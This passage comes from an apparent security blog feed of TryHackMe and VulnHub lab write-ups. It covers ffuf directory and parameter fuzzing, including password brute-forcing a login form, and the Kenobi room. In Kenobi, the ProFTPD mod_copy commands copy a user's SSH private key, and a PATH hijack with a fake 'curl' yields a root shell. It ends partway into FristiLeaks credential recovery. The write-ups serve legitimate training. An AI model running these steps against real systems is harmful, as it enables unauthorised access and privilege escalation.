  <li>Just click Complete. Done!</li>
</ul>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="thm" /><summary type="html"><![CDATA[Owasp Top 10]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.png" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">ffuf - TryHackMe Writeup on directory busting - Penetration Testing</title><link href="https://zishanhack.com/blog/thm/ffuf/" rel="alternate" type="text/html" title="ffuf - TryHackMe Writeup on directory busting - Penetration Testing" /><published>2024-08-01T00:00:00+05:30</published><updated>2024-08-01T00:00:00+05:30</updated><id>https://zishanhack.com/blog/thm/ffuf</id><content type="html" xml:base="https://zishanhack.com/blog/thm/ffuf/"><![CDATA[<h1 id="ffuf">ffuf</h1>

<ul>
  <li><a href="#tools">Tools</a></li>
  <li><a href="#introduction">Introduction</a></li>
  <li><a href="#basics">Basics</a></li>
  <li><a href="#finding-pages-and-directories">Finding Pages and Directories</a></li>
  <li><a href="#using-filters">Using Filters</a></li>
  <li><a href="#fuzzing-parameters">Fuzzing Parameters</a></li>
  <li><a href="#finding-vhosts-and-subdomains">Finding Vhosts and Subdomains</a></li>
  <li><a href="#proxifying-ffuf-traffic">Proxifying FFUF Traffic</a></li>
  <li><a href="#reviewing-the-options">Reviewing the Options</a></li>
  <li><a href="#about-the-author">About the Author</a></li>
</ul>

<p>Room Link: <a href="https://thm.com/r/room/ffuf">https://thm.com/r/room/ffuf</a></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        /<span class="s1">'___\  /'</span>___<span class="se">\ </span>          /<span class="s1">'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

</span></code></pre></div></div>

<h2 id="tools">Tools</h2>

<ul>
  <li><a href="https://github.com/ZishanAdThandar/HackiFy">HackiFy</a></li>
  <li><a href="https://github.com/ffuf/ffuf">ffuf</a></li>
  <li><a href="https://github.com/danielmiessler/SecLists">SecLists</a></li>
</ul>

<h2 id="introduction">Introduction</h2>

<ul>
  <li>Read this section, install ffuf and Seclists, then click on “Complete” buttons.</li>
  <li>I used automated tool and wordlist installer <code class="language-plaintext highlighter-rouge">HackiFy</code> to install those tools. Repo: https://github.com/ZishanAdThandar/HackiFy
    <h2 id="basics">Basics</h2>
  </li>
  <li>Read this section properly, connect to the network with openvpn or start <code class="language-plaintext highlighter-rouge">AttackBox</code>.</li>
  <li>Click on <code class="language-plaintext highlighter-rouge">Start the Machine</code>.</li>
  <li>Used the given command <code class="language-plaintext highlighter-rouge">ffuf -u http://MACHINE_IP/NORAJ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt:NORAJ</code>, just replaced <code class="language-plaintext highlighter-rouge">seclists</code> location with <code class="language-plaintext highlighter-rouge">/opt/wordlist/SecLists/</code> as HackiFy install it inside <code class="language-plaintext highlighter-rouge">/opt/wordlist</code> directory.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the first file you found with a 200 status code?</code> Answer <code class="language-plaintext highlighter-rouge">favicon.ico</code>
    <h2 id="finding-pages-and-directories">Finding pages and directories</h2>
  </li>
  <li>If we run first command <code class="language-plaintext highlighter-rouge">ffuf -u http://MACHINE_IP/FUZZ -w /opt/wordlist/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt</code> we can get some output.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What text file did you find?</code> Answer <code class="language-plaintext highlighter-rouge">robots.txt</code></li>
  <li>If we run second command given <code class="language-plaintext highlighter-rouge">ffuf -u http://MACHINE_IP/indexFUZZ -w /opt/wordlist/SecLists/Discovery/Web-Content/web-extensions.txt</code> , we can get output.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What two file extensions were found for the index page?</code> Answer <code class="language-plaintext highlighter-rouge">php,phps</code></li>
  <li>Again we need to run third given command <code class="language-plaintext highlighter-rouge">ffuf -u http://MACHINE_IP/FUZZ -w /opt/wordlist/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt -e .php,.txt</code> and observe the output.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What page has a size of 4840?</code> Answer <code class="language-plaintext highlighter-rouge">about.php</code></li>
  <li>If we run last given command, <code class="language-plaintext highlighter-rouge">ffuf -u http://MACHINE_IP/FUZZ -w /opt/wordlist/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt</code>. We will get some directories.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">How many directories are there?</code> Answer <code class="language-plaintext highlighter-rouge">4</code>
    <h2 id="using-filters">Using filters</h2>
  </li>
  <li>Question <code class="language-plaintext highlighter-rouge">After applying the fc filter, how many results were returned?</code> Answer <code class="language-plaintext highlighter-rouge">11</code>. Got by observing output of command <code class="language-plaintext highlighter-rouge">ffuf -u http://MACHINE_IP/FUZZ -w /opt/wordlist/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt -fc 403</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">After applying the mc filter, how many results were returned?</code> Answer <code class="language-plaintext highlighter-rouge">6</code> . Got by observing output of command <code class="language-plaintext highlighter-rouge">ffuf -u http://MACHINE_IP/FUZZ -w /opt/wordlist/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt -mc 200</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">Which valuable file would have been hidden if you used -fc 403 instead of -fr?</code> Answer <code class="language-plaintext highlighter-rouge">wp-forum.phps</code>. Got by observing output difference between <code class="language-plaintext highlighter-rouge">-fc 403</code> command and command <code class="language-plaintext highlighter-rouge">ffuf -u http://MACHINE_IP/FUZZ -w /opt/wordlist/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt  -fr '/\..*'</code>
    <h2 id="fuzzing-parameters">Fuzzing parameters</h2>
  </li>
  <li>Terminate if any machine running and click on <code class="language-plaintext highlighter-rouge">Start Machine</code>. Also read this section.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the parameter you found?</code> Answer <code class="language-plaintext highlighter-rouge">id</code>. Got it from output of <code class="language-plaintext highlighter-rouge">ffuf -u 'http://MACHINE_IP/sqli-labs/Less-1/?FUZZ=1' -c -w /opt/wordlist/SecLists/Discovery/Web-Content/burp-parameter-names.txt -fw 39</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the highest valid id?</code> Answer <code class="language-plaintext highlighter-rouge">14</code>. Got it by running, <code class="language-plaintext highlighter-rouge">for i in {0..255}; do echo $i; done | ffuf -u 'http://MACHINE_IP/sqli-labs/Less-1/?id=FUZZ' -c -w - -fw 33</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is Dummy's password?</code> Answer <code class="language-plaintext highlighter-rouge">p@ssword</code>. Got it with command <code class="language-plaintext highlighter-rouge">ffuf -u http://MACHINE_IP/sqli-labs/Less-11/ -c -w /opt/wordlist/SecLists/Passwords/Leaked-Databases/hak5.txt -X POST -d 'uname=Dummy&amp;passwd=FUZZ&amp;submit=Submit' -fs 1435 -H 'Content-Type: application/x-www-form-urlencoded' </code>.
    <h2 id="finding-vhosts-and-subdomains">Finding vhosts and subdomains</h2>
  </li>
  <li>Read the section properly, and mark it <code class="language-plaintext highlighter-rouge">Complete</code>.
    <h2 id="proxifying-ffuf-traffic">Proxifying ffuf traffic</h2>
  </li>
  <li>Read the section properly, and mark it <code class="language-plaintext highlighter-rouge">Complete</code>.
    <h2 id="reviewing-the-options">Reviewing the options</h2>
  </li>
  <li>Observe output of <code class="language-plaintext highlighter-rouge">ffuf -h</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">How do you save the output to a markdown file (ffuf.md)?</code> Answer <code class="language-plaintext highlighter-rouge">-of md -o ffuf.md</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">How do you re-use a raw http request file?</code> Answer <code class="language-plaintext highlighter-rouge">-request</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">How do you strip comments from a wordlist?</code> Answer <code class="language-plaintext highlighter-rouge">-ic</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">How would you read a wordlist from STDIN?</code> Answer <code class="language-plaintext highlighter-rouge">-w -</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">How do you print full URLs and redirect locations?</code> Answer <code class="language-plaintext highlighter-rouge">-v</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">What option would you use to follow redirects?</code> Answer <code class="language-plaintext highlighter-rouge">-r</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">How do you enable colorized output?</code> Answer <code class="language-plaintext highlighter-rouge">-c</code>
    <h2 id="about-the-author">About the author</h2>
  </li>
  <li>Author details here, just click on <code class="language-plaintext highlighter-rouge">Complete</code> and done.</li>
</ul>

<p>Author: <a href="https://github.com/ZishanAdThandar/WriteUps/tree/main?tab=readme-ov-file#about-me">Zishan Ahamed Thandar</a></p>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="thm" /><summary type="html"><![CDATA[ffuf]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.png" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">The Impossible Challenge - TryHackMe room writeup</title><link href="https://zishanhack.com/blog/thm/kenobi/" rel="alternate" type="text/html" title="The Impossible Challenge - TryHackMe room writeup" /><published>2024-07-01T00:00:00+05:30</published><updated>2024-07-01T00:00:00+05:30</updated><id>https://zishanhack.com/blog/thm/kenobi</id><content type="html" xml:base="https://zishanhack.com/blog/thm/kenobi/"><![CDATA[<h1 id="the-impossible-challenge">The Impossible Challenge</h1>

<ul>
  <li><a href="#tools">Tools</a></li>
  <li><a href="#Deploy-the-vulnerable-machine">Deploy the vulnerable machine</a></li>
  <li><a href="#enumerating-samba-for-shares">Enumerating Samba for shares</a></li>
  <li><a href="#gain-initial-access-with-progtpd">Gain initial access with ProFtpd</a></li>
  <li><a href="#privilege-escalation-with-path-variable-manipulation">Privilege Escalation with Path Variable Manipulation</a></li>
</ul>

<p>Room Link: <a href="https://thm.com/room/kenobi">https://thm.com/room/kenobi</a></p>

<h2 id="tools">Tools</h2>

<ul>
  <li>NMap https://nmap.org/download</li>
  <li>Metasploit https://www.metasploit.com/download</li>
  <li></li>
</ul>

<h2 id="deploy-the-vulnerable-machine">Deploy the vulnerable machine</h2>

<ul>
  <li>Running nmap gives</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap 10.10.60.186
Starting Nmap 7.80 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2024-02-28 14:09 IST
Nmap scan report <span class="k">for </span>10.10.60.186
Host is up <span class="o">(</span>0.16s latency<span class="o">)</span><span class="nb">.</span>
Not shown: 992 closed ports
PORT     STATE    SERVICE
21/tcp   open     ftp
22/tcp   open     ssh
80/tcp   open     http
111/tcp  open     rpcbind
139/tcp  open     netbios-ssn
445/tcp  open     microsoft-ds
2049/tcp open     nfs
2500/tcp filtered rtsserv

Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>20.38 seconds
</code></pre></div></div>

<ul>
  <li>Question “Scan the machine with nmap, how many ports are open?” Answer “7”
    <h2 id="enumerating-samba-for-shares">Enumerating Samba for shares</h2>
  </li>
  <li>Now we can scan it with given nmap commands.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-p</span> 445 <span class="nt">--script</span><span class="o">=</span>smb-enum-shares.nse,smb-enum-users.nse 10.10.104.199
Starting Nmap 7.94 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2024-02-28 17:37 IST
Nmap scan report <span class="k">for </span>10.10.104.199
Host is up <span class="o">(</span>0.16s latency<span class="o">)</span><span class="nb">.</span>

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
|_smb-enum-users: ERROR: Script execution failed <span class="o">(</span>use <span class="nt">-d</span> to debug<span class="o">)</span>
| smb-enum-shares: 
|   account_used: guest
|   <span class="se">\\</span>10.10.104.199<span class="se">\I</span>PC<span class="nv">$:</span> 
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service <span class="o">(</span>kenobi server <span class="o">(</span>Samba, Ubuntu<span class="o">))</span>
|     Users: 1
|     Max Users: &lt;unlimited&gt;
|     Path: C:<span class="se">\t</span>mp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   <span class="se">\\</span>10.10.104.199<span class="se">\a</span>nonymous: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Users: 0
|     Max Users: &lt;unlimited&gt;
|     Path: C:<span class="se">\h</span>ome<span class="se">\k</span>enobi<span class="se">\s</span>hare
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   <span class="se">\\</span>10.10.104.199<span class="se">\p</span>rint<span class="nv">$:</span> 
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: &lt;unlimited&gt;
|     Path: C:<span class="se">\v</span>ar<span class="se">\l</span>ib<span class="se">\s</span>amba<span class="se">\p</span>rinters
|     Anonymous access: &lt;none&gt;
|_    Current user access: &lt;none&gt;

Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>28.24 seconds

</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">Using the nmap command above, how many shares have been found?</code> Answer <code class="language-plaintext highlighter-rouge">3</code></li>
  <li>Connected to smb as <code class="language-plaintext highlighter-rouge">anonymous</code> user using given command <code class="language-plaintext highlighter-rouge">smbclient //10.10.56.134/anonymous</code> to read files</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbclient //10.10.56.134/anonymous
Password <span class="k">for</span> <span class="o">[</span>WORKGROUP<span class="se">\r</span>oot]:
Try <span class="s2">"help"</span> to get a list of possible commands.
smb: <span class="se">\&gt;</span> <span class="nb">ls</span>
  <span class="nb">.</span>                                   D        0  Wed Sep  4 16:19:09 2019
  ..                                  D        0  Wed Sep  4 16:26:07 2019
  log.txt                             N    12237  Wed Sep  4 16:19:09 2019

		9204224 blocks of size 1024. 6877096 blocks available
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">Once you're connected, list the files on the share. What is the file can you see?</code> Answer <code class="language-plaintext highlighter-rouge">log.txt</code></li>
  <li>Then used given command to download files,</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbget <span class="nt">-R</span> smb://10.10.56.134/anonymous
Password <span class="k">for</span> <span class="o">[</span>root] connecting to //10.10.56.134/anonymous: 
Using workgroup WORKGROUP, user root
smb://10.10.56.134/anonymous/log.txt                                                                        
Downloaded 11.95kB <span class="k">in </span>6 seconds
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">What port is FTP running on?</code> Answer <code class="language-plaintext highlighter-rouge">21</code> Got it from <code class="language-plaintext highlighter-rouge">log.txt</code></li>
  <li>As given nmap scan command with script to scan port 111</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-p</span> 111 <span class="nt">--script</span><span class="o">=</span>nfs-ls,nfs-statfs,nfs-showmount 10.10.56.134
Starting Nmap 7.94 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2024-02-28 23:36 IST
Nmap scan report <span class="k">for </span>10.10.56.134
Host is up <span class="o">(</span>0.16s latency<span class="o">)</span><span class="nb">.</span>

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-statfs: 
|   Filesystem  1K-blocks  Used       Available  Use%  Maxfilesize  Maxlink
|_  /var        9204224.0  1836540.0  6877088.0  22%   16.0T        32000
| nfs-ls: Volume /var
|   access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION  UID  GID  SIZE  TIME                 FILENAME
| rwxr-xr-x   0    0    4096  2019-09-04T08:53:24  <span class="nb">.</span>
| rwxr-xr-x   0    0    4096  2019-09-04T12:27:33  ..
| rwxr-xr-x   0    0    4096  2019-09-04T12:09:49  backups
| rwxr-xr-x   0    0    4096  2019-09-04T10:37:44  cache
| rwxrwxrwx   0    0    4096  2019-09-04T08:43:56  crash
| rwxrwsr-x   0    50   4096  2016-04-12T20:14:23  <span class="nb">local</span>
| rwxrwxrwx   0    0    9     2019-09-04T08:41:33  lock
| rwxrwxr-x   0    108  4096  2019-09-04T10:37:44  log
| rwxr-xr-x   0    0    4096  2019-01-29T23:27:41  snap
| rwxr-xr-x   0    0    4096  2019-09-04T08:53:24  www
|_
| nfs-showmount: 
|_  /var <span class="k">*</span>

Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>5.66 seconds
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">What mount can we see?</code> Answer <code class="language-plaintext highlighter-rouge">/var</code></li>
</ul>

<h2 id="gain-initial-access-with-proftpd">Gain initial access with ProFtpd</h2>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the version?</code> (FTP) Answer <code class="language-plaintext highlighter-rouge">1.3.5</code></li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc 10.10.245.171 21
220 ProFTPD 1.3.5 Server <span class="o">(</span>ProFTPD Default Installation<span class="o">)</span> <span class="o">[</span>10.10.245.171]
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">How many exploits are there for the ProFTPd running?</code> Answer <code class="language-plaintext highlighter-rouge">4</code></li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>searchsploit proftp 1.3.5
<span class="o">[</span>i] Found <span class="o">(</span><span class="c">#2): /opt/exploit-database/files_exploits.csv</span>
<span class="o">[</span>i] To remove this message, please edit <span class="s2">"/opt/exploit-database/.searchsploit_rc"</span> which has <span class="s2">"package_array: exploitdb"</span> to point too: path_array+<span class="o">=(</span><span class="s2">"/opt/exploit-database"</span><span class="o">)</span>

<span class="o">[</span>i] Found <span class="o">(</span><span class="c">#2): /opt/exploit-database/files_shellcodes.csv</span>
<span class="o">[</span>i] To remove this message, please edit <span class="s2">"/opt/exploit-database/.searchsploit_rc"</span> which has <span class="s2">"package_array: exploitdb"</span> to point too: path_array+<span class="o">=(</span><span class="s2">"/opt/exploit-database"</span><span class="o">)</span>

<span class="nt">--------------------------------------------------------------------------</span> <span class="nt">---------------------------------</span>
 Exploit Title                                                            |  Path
<span class="nt">--------------------------------------------------------------------------</span> <span class="nt">---------------------------------</span>
ProFTPd 1.3.5 - <span class="s1">'mod_copy'</span> Command Execution <span class="o">(</span>Metasploit<span class="o">)</span>                 | linux/remote/37262.rb
ProFTPd 1.3.5 - <span class="s1">'mod_copy'</span> Remote Command Execution                       | linux/remote/36803.py
ProFTPd 1.3.5 - <span class="s1">'mod_copy'</span> Remote Command Execution <span class="o">(</span>2<span class="o">)</span>                   | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy                                                 | linux/remote/36742.txt
<span class="nt">--------------------------------------------------------------------------</span> <span class="nt">---------------------------------</span>
Shellcodes: No Results
</code></pre></div></div>

<ul>
  <li>Copied <code class="language-plaintext highlighter-rouge">id_rsa</code> file according to given instruction</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc 10.10.245.171 21
220 ProFTPD 1.3.5 Server <span class="o">(</span>ProFTPD Default Installation<span class="o">)</span> <span class="o">[</span>10.10.245.171]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready <span class="k">for </span>destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
</code></pre></div></div>

<ul>
  <li>Mount NFS as instructed</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@system:/tmp# <span class="nb">mkdir</span> /mnt/kenobiNFS
root@system:/tmp# mount 10.10.245.171:/var /mnt/kenobiNFS
root@system:/tmp# <span class="nb">ls</span> <span class="nt">-la</span> /mnt/kenobiNFS
total 56
drwxr-xr-x 14 root root  4096 Sep  4  2019 <span class="nb">.</span>
drwxr-xr-x  3 root root  4096 Feb 29 10:11 ..
drwxr-xr-x  2 root root  4096 Sep  4  2019 backups
drwxr-xr-x  9 root root  4096 Sep  4  2019 cache
drwxrwxrwt  2 root root  4096 Sep  4  2019 crash
drwxr-xr-x 40 root root  4096 Sep  4  2019 lib
drwxrwsr-x  2 root staff 4096 Apr 13  2016 <span class="nb">local
</span>lrwxrwxrwx  1 root root     9 Sep  4  2019 lock -&gt; /run/lock
drwxrwxr-x 10 root sgx   4096 Sep  4  2019 log
drwxrwsr-x  2 root mail  4096 Feb 27  2019 mail
drwxr-xr-x  2 root root  4096 Feb 27  2019 opt
lrwxrwxrwx  1 root root     4 Sep  4  2019 run -&gt; /run
drwxr-xr-x  2 root root  4096 Jan 30  2019 snap
drwxr-xr-x  5 root root  4096 Sep  4  2019 spool
drwxrwxrwt  6 root root  4096 Feb 29 10:00 tmp
drwxr-xr-x  3 root root  4096 Sep  4  2019 www

</code></pre></div></div>

<ul>
  <li>Copy id_rsa to local system and connect to the server using ssh as instructed</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@system:/tmp# <span class="nb">cp</span> /mnt/kenobiNFS/tmp/id_rsa <span class="nb">.</span>
root@system:/tmp# <span class="nb">chmod </span>600 id_rsa 
root@system:/tmp# ssh <span class="nt">-i</span> id_rsa kenobi@10.10.245.171
The authenticity of host <span class="s1">'10.10.245.171 (10.10.245.171)'</span> can<span class="s1">'t be established.
ED25519 key fingerprint is SHA256:GXu1mgqL0Wk2ZHPmEUVIS0hvusx4hk33iTcwNKPktFw.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '</span>10.10.245.171<span class="s1">' (ED25519) to the list of known hosts.
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

103 packages can be updated.
65 updates are security updates.


Last login: Wed Sep  4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo &lt;command&gt;".
See "man sudo_root" for details.

kenobi@kenobi:~$ 
</span></code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">What is Kenobi's user flag (/home/kenobi/user.txt)?</code> Answer <code class="language-plaintext highlighter-rouge">********************************</code> 32 alphanumeric characters. Get using <code class="language-plaintext highlighter-rouge">cat /home/kenobi/user.txt</code>
    <h2 id="privilege-escalation-with-path-variable-manipulation">Privilege Escalation with Path Variable Manipulation</h2>
  </li>
  <li>Question <code class="language-plaintext highlighter-rouge">What file looks particularly out of the ordinary?</code> Answer <code class="language-plaintext highlighter-rouge">/usr/bin/menu</code></li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kenobi@kenobi:~<span class="nv">$ </span>find / <span class="nt">-perm</span> <span class="nt">-u</span><span class="o">=</span>s <span class="nt">-type</span> f 2&gt;/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">Run the binary, how many options appear?</code> Answer <code class="language-plaintext highlighter-rouge">3</code></li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kenobi@kenobi:~<span class="nv">$ </span>/usr/bin/menu

<span class="k">***************************************</span>
- status check
- kernel version
- ifconfig
<span class="k">**</span> Enter your choice :

</code></pre></div></div>

<ul>
  <li>Now time to do reverse. We are going to run simple command <code class="language-plaintext highlighter-rouge">strings /usr/bin/menu</code>. (As instructed)
Result shows:</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">**</span> Enter your choice :
curl <span class="nt">-I</span> localhost
<span class="nb">uname</span> <span class="nt">-r</span>
ifconfig
</code></pre></div></div>

<ul>
  <li>So we can assume choosing first option run first command <code class="language-plaintext highlighter-rouge">curl -I localhost</code> (As instructed).So we can change it to exploit.</li>
  <li>We can simply follow instruction to create file named curl with executable permission and add the file loacation to our path. Then simply running menu and selecting first option will do the rest as it run the curl we created, we will get root shell.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kenobi@kenobi:~<span class="nv">$ </span><span class="nb">echo</span> <span class="s2">"/bin/sh"</span> <span class="o">&gt;</span>curl
kenobi@kenobi:~<span class="nv">$ </span><span class="nb">chmod </span>777 curl
kenobi@kenobi:~<span class="nv">$ </span><span class="nb">export </span><span class="nv">PATH</span><span class="o">=</span>/home/kenobi:<span class="nv">$PATH</span>
kenobi@kenobi:~<span class="nv">$ </span>/usr/bin/menu

<span class="k">***************************************</span>
- status check
- kernel version
- ifconfig
<span class="k">**</span> Enter your choice :1
<span class="c"># id</span>

<span class="nv">uid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>1000<span class="o">(</span>kenobi<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>1000<span class="o">(</span>kenobi<span class="o">)</span>,4<span class="o">(</span>adm<span class="o">)</span>,24<span class="o">(</span>cdrom<span class="o">)</span>,27<span class="o">(</span><span class="nb">sudo</span><span class="o">)</span>,30<span class="o">(</span>dip<span class="o">)</span>,46<span class="o">(</span>plugdev<span class="o">)</span>,110<span class="o">(</span>lxd<span class="o">)</span>,113<span class="o">(</span>lpadmin<span class="o">)</span>,114<span class="o">(</span>sambashare<span class="o">)</span>
<span class="c"># </span>

</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the root flag (/root/root.txt)?</code> Answer <code class="language-plaintext highlighter-rouge">********************************</code> 32 alphanumeric chars. Command used <code class="language-plaintext highlighter-rouge">cat /root/root.txt</code></li>
</ul>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="thm" /><summary type="html"><![CDATA[The Impossible Challenge]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.png" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">FristiLeaks 1.3 vulnhub machine solved using nmap, dirb and netcat</title><link href="https://zishanhack.com/blog/vulnhub/fristileaks13/" rel="alternate" type="text/html" title="FristiLeaks 1.3 vulnhub machine solved using nmap, dirb and netcat" /><published>2024-05-20T00:00:00+05:30</published><updated>2024-05-20T00:00:00+05:30</updated><id>https://zishanhack.com/blog/vulnhub/fristileaks13</id><content type="html" xml:base="https://zishanhack.com/blog/vulnhub/fristileaks13/"><![CDATA[<h1 id="fristileaks-13">FristiLeaks: 1.3</h1>

<ul>
  <li><a href="#tools">Tools</a></li>
  <li><a href="#gaining-access">Gaining Access</a></li>
  <li><a href="#priviledge-escalation">Priviledge Escalation</a></li>
</ul>

<p>Machine: <a href="https://www.vulnhub.com/entry/fristileaks-13,133/">https://www.vulnhub.com/entry/fristileaks-13,133/</a></p>

<h2 id="tools">Tools</h2>

<ul>
  <li><a href="https://nmap.org/">NMap</a></li>
  <li>dirb</li>
  <li>netcat</li>
</ul>

<h2 id="gaining-access">Gaining Access</h2>

<ul>
  <li>Download VM and Install OVA file. Open the machine, you will get the IP. In my case IP is 192.168.0.10.</li>
  <li>Basic <code class="language-plaintext highlighter-rouge">NMap</code> scan shows http port 80 is open. There is a website running there.</li>
  <li>Running directory busting tool <code class="language-plaintext highlighter-rouge">dirb</code> gives <code class="language-plaintext highlighter-rouge">robots.txt</code> url.</li>
  <li>There are three links inside <code class="language-plaintext highlighter-rouge">robots.txt</code>. But those links are not useful.</li>
  <li>But all those links are rabbit holes. So, I guessed fristi as wordlist as the word fristi is everywhere and found this link, <code class="language-plaintext highlighter-rouge">http://192.168.0.10/fristi/</code>.</li>
  <li>If we open source code, we can find username as <code class="language-plaintext highlighter-rouge">eezeepz</code> Inside an html comment.</li>
  <li>We can find <code class="language-plaintext highlighter-rouge">base64</code> string inside another html comment.</li>
  <li>If we convert the <code class="language-plaintext highlighter-rouge">base64</code> to <code class="language-plaintext highlighter-rouge">png</code>, it will load the image with the password <code class="language-plaintext highlighter-rouge">keKkeKKeKKeKkEkkEk</code>.</li>
  <li>Now we can login with username <code class="language-plaintext highlighter-rouge">eezeepz</code> and password <code class="language-plaintext highlighter-rouge">keKkeKKeKKeKkEkkEk</code>.</li>
  <li>Now we have an interface to upload files.</li>
